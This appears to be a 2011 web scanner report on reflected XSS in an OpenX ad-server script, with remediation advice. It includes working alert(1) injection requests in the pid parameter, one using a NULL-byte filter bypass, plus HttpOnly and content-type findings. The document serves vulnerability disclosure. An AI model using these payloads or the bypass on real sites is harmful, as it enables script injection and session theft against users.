Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the pid request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload %003ef86%3balert(1)//cf15969316f was submitted in the pid parameter. This input was echoed as 3ef86;alert(1)//cf15969316f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /fc.php?script=retargetingBeaconsCommon:retargetingBeaconsJavascriptTag&pid=18%003ef86%3balert(1)//cf15969316f&r=559876 HTTP/1.1 Host: d.tradex.openx.com Proxy-Connection: keep-alive Referer: http://openx.org/publisher/enterprise-ad-server Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAID=d21629dcfd1bb220616529898ea7a9b4; OXRB=18_3988
Response
HTTP/1.1 200 OK Date: Thu, 10 Feb 2011 17:31:03 GMT Server: Apache X-Powered-By: PHP/5.2.11 P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OXRB=18%003ef86%3Balert%281%29%2F%2Fcf15969316f_3988.18_3988; expires=Tue, 12-Apr-2011 17:31:03 GMT; path=/ Content-Length: 638 Connection: close Content-Type: text/html; charset=UTF-8
var OX_18.3ef86;alert(1)//cf15969316f_append = ''; OX_18.3ef86;alert(1)//cf15969316f_append += "<"+"!-- Advertiser \'OpenX\', Include user in segment \'OpenX\' - DO NOT MODIFY THIS PIXEL IN ANY WAY --> ...[SNIP]...
The value of the pid request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload ad198%3balert(1)//fc6273f8661 was submitted in the pid parameter. This input was echoed as ad198;alert(1)//fc6273f8661 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /fc.php?script=retargetingBeaconsCommon:retargetingBeaconsJavascriptTag&pid=18ad198%3balert(1)//fc6273f8661&r=23622 HTTP/1.1 Host: d.tradex.openx.com Proxy-Connection: keep-alive Referer: http://openx.org/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAID=d21629dcfd1bb220616529898ea7a9b4
Response
HTTP/1.1 200 OK Date: Thu, 10 Feb 2011 17:30:45 GMT Server: Apache X-Powered-By: PHP/5.2.11 P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OXRB=18ad198%3Balert%281%29%2F%2Ffc6273f8661_3988; expires=Tue, 12-Apr-2011 17:30:45 GMT; path=/ Content-Length: 632 Connection: close Content-Type: text/html; charset=UTF-8
var OX_18ad198;alert(1)//fc6273f8661_append = ''; OX_18ad198;alert(1)//fc6273f8661_append += "<"+"!-- Advertiser \'OpenX\', Include user in segment \'OpenX\' - DO NOT MODIFY THIS PIXEL IN ANY WAY --> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /fc.php?script=retargetingBeaconsCommon:retargetingBeaconsJavascriptTag&pid=18&r=23622 HTTP/1.1 Host: d.tradex.openx.com Proxy-Connection: keep-alive Referer: http://openx.org/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAID=d21629dcfd1bb220616529898ea7a9b4
Response
HTTP/1.1 200 OK Date: Thu, 10 Feb 2011 17:30:40 GMT Server: Apache X-Powered-By: PHP/5.2.11 P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OXRB=18_3988; expires=Tue, 12-Apr-2011 17:30:40 GMT; path=/ Content-Length: 470 Connection: close Content-Type: text/html; charset=UTF-8
var OX_18_append = ''; OX_18_append += "<"+"!-- Advertiser \'OpenX\', Include user in segment \'OpenX\' - DO NOT MODIFY THIS PIXEL IN ANY WAY -->\n"; OX_18_append += "<"+"img src=\"http://ad.yiel ...[SNIP]...
The response contains the following Content-type statement:
Content-Type: text/html; charset=UTF-8
The response states that it contains HTML. However, it actually appears to contain script.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /fc.php?script=retargetingBeaconsCommon:retargetingBeaconsJavascriptTag&pid=18&r=23622 HTTP/1.1 Host: d.tradex.openx.com Proxy-Connection: keep-alive Referer: http://openx.org/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAID=d21629dcfd1bb220616529898ea7a9b4
Response
HTTP/1.1 200 OK Date: Thu, 10 Feb 2011 17:30:40 GMT Server: Apache X-Powered-By: PHP/5.2.11 P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OXRB=18_3988; expires=Tue, 12-Apr-2011 17:30:40 GMT; path=/ Content-Length: 470 Connection: close Content-Type: text/html; charset=UTF-8
var OX_18_append = ''; OX_18_append += "<"+"!-- Advertiser \'OpenX\', Include user in segment \'OpenX\' - DO NOT MODIFY THIS PIXEL IN ANY WAY -->\n"; OX_18_append += "<"+"img src=\"http://ad.yiel ...[SNIP]...